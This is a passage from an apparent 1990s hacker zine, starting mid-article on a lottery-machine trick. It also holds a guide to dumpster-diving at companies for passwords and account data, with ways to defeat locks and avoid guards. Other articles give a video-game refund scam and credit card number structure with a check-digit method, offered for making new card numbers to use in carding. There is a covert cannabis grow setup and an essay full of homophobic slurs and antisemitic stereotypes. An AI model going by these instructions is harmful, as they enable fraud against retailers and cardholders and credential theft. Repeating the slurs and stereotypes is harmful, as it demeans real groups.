| | X | | Y | | Z | |
| |_______| |_______| |_______| |
| _______ _______ _______ |
| |___1___| |___2___| |___3___| |
|__________________________________________|
To do get this trick to work, you need two $1.00 bills. Slide the first
dollar into slot 1, 2 or 3 (being the slot which the tickets would come out
of for tickets X, Y and Z respectively)... For example, if you wanted ticket
X, you'd place your first dollar in slot 1. Next, put your other dollar in
slot A. This should cause tickets to come spewing out of the slot in which
you placed your first dollar (at least until the dollar falls out, or the
machine jams, etc)...
If you were to do it, I wouldn't recommend doing it too often, mainly
because it looks slightly suspicious if you're always at the Lotto Machine.
Also, these machines are usually placed in positions which are wide open, and
easily seen by people with status (i.e. don't fuck around)...
I hope this file somewhat enlightened you to the faults of a fairly
popular machine, but I recommend not trying it as it's probably considered
fraud in most parts of the country. :)
Free the Information, Spread the Knowledge.
Crax/uuDW
--- Trashing Techniques
So you want to go trashing eh? Well, it's easy, fun and highly
productive; if you follow a few simple tips. I've been trashing around my
city for years, and could go on and on about the fun times, and close calls
I've had. Trashing, is simply glorified trash picking. If the thought of
this makes you queasy, you might as well stop reading, as this is no use for
you.
The first thing to do is decide what your target will be. A local phone
company office, university or corporation is a good one. These are good if
you are looking for Internet dialups, passwords, account info, or anything
else that would be on computer printouts. You will be amazed at the amount of
valuable information just carelessly tossed away. If you're looking for
hardware, a renovating company will sometimes throw out valuable, though
slightly outdated computer peripherals. I've seen hard drives in garbage bags
just asking to be brought home. Don't forget those drives once had
information on them too. Once you've gotten that out if the way, the plans
begin.
A reliable source of transportation is essential. I think a pickup truck
is the best way to go. Both people and your loot will fit in the bed. Not to
mention a quick getaway is easier if you don't have to jump behind seats and
over your friends. If you don't have access to a truck, just make sure you
won't be using a little compact import. You will have a little trouble,
believe me.
Scope out your target dumpster. Look for anything that will hinder your
access such as locks, cameras, security guards, traffic, etc. And be
prepared for the quickest way in. Look for your route to and from the area,
and notice the visibility you will have from the actual spot of your
surroundings. This will be benificial for a safe lookout.
A lock and chain will be easily defeated with a small crowbar. If you
are good with a set of picks, then try that. I just think it takes up
valuable rummaging time. Cameras are a little tricky, and I tend to avoid
them. If you are bold enough, wear dark clothing, and stay out of the direct
view of the lens. Don't try to disable the camera of tamper with it in any
way. If there is someone watching, this is the easiest way to bring attention
to the monitor with your face all over it.
Security guards are easy. Most of them do rounds the same way, at the
same time each night. Just watch their habits for three nights in a row, and
plan accordingly. Remember, they can't wait to go back and sit in the office
with coffee and doughnuts. Traffic isn't a big deal, unless your dumpster of
choice is in plain view of a highway, or a busy road. If it is, be prepared
to have a visit from the local authorities. (Tipped by a concerened citizen).
Have a story ready.
Now, once you've planned for every scenario, it's time to head out. You
will need to have a person in the dumpster to pass out bags, a person to bring
the bags to the vehicle, a driver, and a person to start searching through
your loot. The last person is optional, as it is advisible to take the bags
to a safe location to be searched.
When leaving the area, don't drive with your headlights off. This is a
sure-fire way to bring attention to yourself. Just simply drive away. With
these techniques, you will have many safe, and productive trips to a dumpster
near you. I in no way accept responsibility for the actions of others who may
read this. And in typing this article, my soul intent is to spread public
knowledge.
ThundR/uuDW
--- Blockbuster Video Game Scam
This scam is fairly easy and can be very profitable. First of all you
will need anywhere from $5 to $20 dollars, and a Blockbuster Video store.
Blockbuster Video is always selling previously played SNES, Sega Genesis
and Sega CD games for low prices, between $5 and $20 dollars. The boxes are
already shrink wrapped and the game is not in the box it's handed to you
seperately (which comes in handy later on).
All you do is go to Blockbuster Video, buy a game (I prefer to buy Sega
CD games for the simple reason that they are more expensive when bought new).
Next CAREFULLY take off any stickers attached to the wrap (to get the sticky
shit off that is left behind just use nail polish remover).
Then all you do is go to your friendly neighborhood Kmart, Walmart, or
any such store (I don't recommend Target). Take the game to the electronics
department, not the return desk (this helps the process move quicker)
approach the young pimple faced counter boy with the game in a bag. When he
asks: "May I help you?" You wanna say "YES", tell him your mom had bought
the game a week ago for your birthday and that you already had it, or some
shit like that. Of course if your 30 years old your not going to say that, so
come up with an excuse. He might ask you for a receipt, if this happens
simply say it was a gift and you don't have it. You are usually allowed 2
returns without a receipt to each store, after that they will enforce a
receipt rule, but that's okay just go to another store. He will take the box,
put it under the counter and give you the full amount they are selling the
game for (which is about 3 times what you paid for it, sometimes more). You
still have the game itself (which you can keep or sell to a friend or a game
store).
Here are a few ideas you can use when doing this scam. Of course you can
do this scam anytime of the year, but I suggest you go crazy after Christmas
and major holidays, when returns come in every minute. Also, never just walk
into the store with the box in your hand (no bag) it does look somewhat
suspicious. Another important concept is who should you argue with if
a refund isn't given, if the young pimple faced faggot doesn't give it to you
argue with him and ask for the manager. The manager will most likely give you
the money very quickly to avoid further complications. If he doesn't believe
you, then go to another store (never argue with the manager). After you run
the scam a few times you will get good and make alot of money. If you happen
to have a friend in the electronics department then you've got it made, just
cut him off a piece of the action and your rich... :)
Lord Xeen (WarToy)
--- How the Numbering on CC's Works And How People Change Them.
<Some information taken from Phrack Magazine - Stumble>
Credit card Format: TBBB-LLLL-XXXX-XXXC
T = Type
B = Branch of bank
L = Limit/experation date
X = Identification purpose
C = Checksum
Type of cards... (The letter T in the Example):
3 = American Express Card
4 = VISA Card
5 = MasterCard
6 = Discover Card
Branch codes, different for each type of card:
VISA
BBB Bank
--- ---------------------------
019 Bank of America
024 Bank of America
052 First Cincinatti
060 Navy Federal Credit Union
128 Citibank
131 State Street Bank
215 Marine Midland
225 Chase Manhattan
231 Chase Lincoln First Classic
232 Chase Lincoln First Classic
241 Nat. Westminester Bank
250 First Chicago Bank
271 Citibank Preferred
302 H.H.B.C.
310 Imperial Savings
317 Gold Dome
387 Bank One
428 Bank of Hoven
811 Bank of Hawaii
897 Village bank of Cincinatti
MasterCard
BBB Bank
--- ---------------------------
215 Marine Midland
217 Manufacturers Hanover Trust
233 Huntington Bank
242 Chevy Chase Federal Savings
254 Bank of America
263 Chemical Bank
273 Bank of America
286 Chase Lincoln First
317 Norwest
323 Bank of New York
329 Maryland Bank NA (MBNA)
410 Citibank Preferred
411 1st Fin. bank of Omaha
414 Nat. Westminester Bank
415 Colonial National Bank
424 Citibank
465 Chase Manhattan
678 Marine Midland
III. Bank Codes (International Bank or Interlink Numbers):
These are used in checking credit. Later on, you will learn that while
checking the credit cards for the amount of credit, you will be prompted to
enter the Bank ID along with the Merchant ID. The bank ID's are, I believe,
from the following list. One note -- you cannot just choose any Bank ID and
use it with any Merchant ID. They must correspond in some way. How, I don't
know.
I THINK that a bank issues a merchant number to each of their customers.
If you try to use a merchant number with a bank number, and the merchant
doesn't actually use the bank that is specified by the bank number, you are
going to get some problems. (i.e. The verification won't go through.) Again,
I will state that this is only a theory. The reason that I post this theory
is to get minds working. So far, no one has mentioned their ideas on the
function of Bank Codes.
If you do happen to find out the true meaning of these numbers, please
get in touch with me so I can update this list. Thanks! One word -- on VISA
credit cards, the Bank ID's are the first 4 digits of the Card. For
MasterCards, however, they vary. A list follows:
Bank Bank Code
--------------------------- ------------
Chemical Bank 1263
Marine Midland 6207 (1207?)
Manufacturers Hanover Trust 1033
Citibank 1035
Huntington 1226
First Card Gold 1286
MBNA 6017
Chase Manhatten 1665
[Bank from 5127] 1015
The LLLL part, or the second group on a credit card in from the left,
contains some VERY useful information about the card. This group holds the
information on the Maximum Expiration Date and the Maximum Credit Limit. (I
believe that you can all see the benefits of this.) This does not mean,
however, that the ACTUAL expiration date and ACTUAL credit limit are in this
group. What it means is this: When the different Credit Card Companies issue
Credit Cards to the consumer, he of course has a credit limit. And when the
Companies formulate credit cards, they create certain groups for certain
customers. That is, certain "groups" contain all the credit cards for people
with a credit limit between $X and $Y.
The same thing goes with the expiration dates. Everyone whose card
expires after M1/Y1 and before M2/Y2 has their credit card in a certain group
formulated by the company. For example: My name is Joe Schmoe. My VISA
credit card expires in January of the year 1999. My credit limit on this card
is $7,000. My credit card number (CCN) will probably be in the same group as
my brother-in-law Jack Koff whose card expires in December of 1998 and whose
credit limit is $6,000. BUT, our cards will be in different groups entirely
than my boss' whose card expires in June of 1995 and whose credit limit is
$40,000.
Back to the point of section IV: Lets say you have a credit card with a
known expiration date and known credit limit. Lets also say that you happen
upon ANOTHER credit card whose numbers are the same up until the last 2
groups. (You and I see that these two cards were issued by the same bank and
PROBABLY have a credit limit in the same ball park and an expiration date not
far from each other.) BUT, even though you have this new credit card, you
lost the expiration date and credit limit. GOSH! How are you going to use
this card when you don't know this information?! APROXIMATE! You have a
general idea now, and you can go from there.
One warning here: I have found that small groups of cards with high
credit limits are often hidden in between large groups of cards with very low
credit limits. For instance, lets look at this card: 4123 4567 8901 2345.
From -4567 until 4600 in group 3 (from the right) gold cards may exist. But
after 4600 and before 4567, cards with credit limits of $500 exist. Kind of
sucks, huh?! Just wanted to make you aware of this.
Now, once you learn how to modify these without hurting the card, you
have increased your value as a carder by 100x. But be careful. Often when
you modify a card's group 3 to get a higher credit limit line of cards, you
will find the entire line is dead. Or, in other cases, just the original card
you find is dead, and all surrounding cards are valid with the new credit
limits.
V. "Group 2" & "Group 1"
These two groups, or the last two groups on the credit card, are the
easiest to modify. By changing these in such a way, you can formulate new
credit cards simply by doing a little math in your head. These two groups
contain the IDentification codes. Later on in your carding ventures, you
might find out how to change these, and thus, you have found the secret to a
vault of new and awaiting credit cards. I stress here that the only purpose
that these two groups serve is to differentiate between customers. If the
first two groups of two cards are the same and the last two groups of two
cards are different, the two cards were issued by the same bank and probably
have similar credit limits, but are of course issued to different people. So
I'm sure you could play around with those on your own to get new CC numbers.
Now the tricky part is the last digit, the checksum...
What's the checksum for? It's to stop people from making up their own
cards. But its easy to calculate. (With instructions):
Credit Card. XXXX-XXXX-XXXX-XXXC (fill in numbers from above).
X is a number, and C (the key to the formula) is a check-digit. Ignore
the check-digit (we'll create one) fill in the X digits with numbers (zero
through nine). Take every odd digit (from right to left) and multiply it by
two, if the resulting number is greater than or equal to ten subtract nine.
Do this for all of the odd digits and add the results together. Next add all
of the even digits to the total calculated the resulting number find the next
higher multiple of ten and subtract out the result from it.
Stumble/uuDW
--- The Secret Hydro Closet Garden
To jump to the instructions I put the credits last. We want to make a
small garden without Ma or the 5-0 finding out, eh? Well, go to the local
hardware store and get the following things...
Two 5 gallon buckets (the kind that sheetrock shit comes in).
A small pouch of seeds (hemp of course).
Two good size bags of fertilized top soil, cow manure, etc...
One florescent grow light (or the iced white type).
A hand-held blow torch (you should be able to find one in Radio Shack).
2 cartridges of CO2 (used for pellet guns).
A length of rubber tubing (it must fit the head of the torch).
* Wash your hands before ALL of this!
Okay, place the first bucket on top of the other, hinge them anyway you
find necessary, that will be your lid, or top half. At this point you should
have two buckets, one on top of another. Now cut a "V" shape directly in the
back the top 5 gallon bucket, this "V" shape should be half the length of the
bucket, this will be used for direct lighting. Fill the lower bucket
with the top soil.
Mount one end of the tubing to the head of the torch; mount the torch on
the ouside of the top bucket, the torch will not be used as a torch in this
project, it will be used as a virtual breathing apparatus for the Cannabis, by
replacing the butane capsules with CO2 cartidges. Drill a hole in the top
bucket on the side approximately the same size if not a little smaller than
the rubber tubing. It should be close to the area where you've already
mounted the butane torch. Drive the hose thruogh the hole and let the hose
dangle within the bucket so that it would be pointing at the Cannabis
plant(s).
Mount the florescent light to the inside closet wall towards the back
then face the "V" shaped hole towards the light so the budz will BUD. When
planting the seeds be sure to make sure they are already to BUD (germinate),
in order to make happen get a clean Burger King ashtray fill it with water,
then leave some seeds in there until they've started. Then you pick them up
carefully and gently poke them into the top soil so that they are buried about
one inch deep. Every tenth day turn the light out and cover the "V" shaped
hole and turn the torch with the C02 cartridges to very low, do this until
both CO2 cartridges are empty, then uncover the "V" shaped hole to release CO2
gas. After which you simply turn the light back on and start all over
again until that fat green bud starts growin.
When that CO2 gas hits the hemp, it doubles the hit, becomes greener and
tastier too! More to come later... %)
O.D.
!!!
--- Microsoft Windows '95
The Microsoft Windows 3.x operating system is not really an operating
system at all, even though it is referred to as one. It is a graphical cover-
up of DOS, with some environment-specific functions to it. Users who did not
want to learn how to use DOS could take the easy way out and use Windows.
Windows '95 will change this
entirely; there is no DOS beneath the Windows,
making it a true operating system.
This is a good move for Microsoft, since they will be able to make things
that much easier for computer users, especially in the domain of inexperienced
users. By eliminating DOS altogether, Windows '95 effectively turns the PC
platform into a Macintosh look-alike platform. It is a bad move, however, for
the future of the PC scene as a whole. People were once forced to learn how
to use DOS, which in turn led them to learn more about the system they were
working on, and understand how it worked. Knowledge was always a key asset in
the world of computers. Win95 will change all that by allowing people who
know little or nothing about their computer to access the Internet, take
advantage of "plug and play" capabilities, and do so without knowing exactly
what is happening since Win95 hides it from them.
Win95 is destined to boost PC sales. That's how Microsoft planned it.
From these sales, Microsoft will benefit nicely. Money corrupts everyone. By
releasing Win95, Microsoft will open up the ultimate demise of America;
traditionally, Americans are lazy, and this will just extend an open hand to
those who want to get more from doing less. Advances in the personal computer
industry did not come by accident; people had to struggle to create software
and the systems that run it.
Piracy will slow Microsoft's profitability on the new Win95 OS. I
remember seeing pirated copies of "Chicago" on the Internet as early as May
1994, and that was probably not even the start of it. Even now, pirates are
rushing out to get the newest beta builds of Win95. It is 20 disks long, if
not more, and that means a 5 hour download at 14400 bps. In other words, some
of these pirates are just damn crazy.
Then again, pirated copies of IBM's OS/2 Warp operating system also were
abundant on the net, and it could be said that piracy is free publicity.
People are able to test a program before buying it (if they are honest), and
if the program is good enough, they might buy it to avoid getting a virus or
trojan in their pirated copy. Another reason people might buy their own copy
is if the "crack" for the program is faulty, the program might not function
correctly. In any event, IBM's OS/2 Warp has become a popular operating
system, but what would it be like if it hadn't circulated the Internet?
I've heard stories of confused computer owners asking where the "Any"
key is on their keyboard (when prompted to "Press any key"). Another confused
computer owner called a hotline to report that her computer's footpedal didn't
work. She later discovered that she was supposed to place her hand over this
small white gadget, and that it was a pointing device, not a footpedal (better
known as a mouse). Another individual had recently purchased a system with a
fax-modem, and had tried for hours to hold pages up to his monitor and press
buttons, but couldn't send faxes. He later learned about fax software. These
are the kinds of things that any 12-year-old computer geek would already know.
When the Win95 operating system becomes available to the public, there
will be a new and growing population of computer users. According to Wired
Magazine, Microsoft is anticipating 30,000 customer-service calls daily after
the release of Win95. I don't want to be the one answering the technical
support phones. I don't want to be the one showing someone how to turn their
computer on. I don't want to overhear someone saying, "I just bought a
Pentium system with 16 megabytes of RAM, a 28800 bps fax-modem, a laser
printer, and a 1 gig hard drive. Now, what do I do with it?"
Misinformation is the cause of stupidity in the world. If people would
be open to learning instead of simply taking the easy way, this world might
actually get somewhere.
GraveDigger/uuDW
--- My feelings on Nazi's
Nazi's suck... The other day I was watching MTV, some stupid fucking
video came on and it had tons of little Nazi symbols, and pictures of Adolf
Hitler. I watched it for a few minutes and couldn't understand why they
worship a man with no sense of fashion! Now if Hitler had a gotee I could see
him getting some respect, but no... He's got a little stupid miniture "I am
not manly enough to grow a real mustache" mustache... Jeeze...
Those damn swastika's... They have them on everything... I bet the real
X-treme even tattoo the symbol on their ass so that when the ass pirates come
to fuck 'em they know that it's a virgin piece of ass.
Now I can understand why Nazi's hate fags, I am slightly homophobic
myself. But I only get that way when guys try to come onto me... And I
figure if he gets off on fucking a dude up the ass that just means more pussy
for me...
Now onto the subject of Jews... Jews kick ass! Look at those neat
things that they do with their hair. Those fat ass curls... God those are
fresh! Also who cares if Jews killed Christ or whatever the fuck they are
blamed for... He would've died eventually... I'm a slightly religious
person, but I don't think that we should punish a whole group of people for a
mistake a few stupid fucks made.
Another bonus about Jews is that they are usually pretty honest. They
don't go around stealing shit, they start a jewlry store and rob us blind when
we are getting married. (Ex. When was the last time you were mugged by some
Jewish guy with his neato hat on? Never right? My point exactly.)
Now... Hmm... There are MANY more things I could go into... I could
bash a few groups for sporting the "swastica" in there logos... But I don't
feel the need at this moment... Peace out... Gotta love them Jews! :)
^
/ \
/ \
________/_____\________
\ / \ /
\ / \ /
\ / / \ /
\/ \/\ \/
/\ \/\ /\
/ \ / / \
/ \ / \
/______\_______/______\
\ /
\ /
\ /
V
Lets all get along... Flames welcome! (End Note: I just write articles
about shit, I dont agree with what I say if you got a prob with me, then like
bite me. I'm just a bored writer that sez stupid shit when he's high)
Stumble/uuDW
!!!
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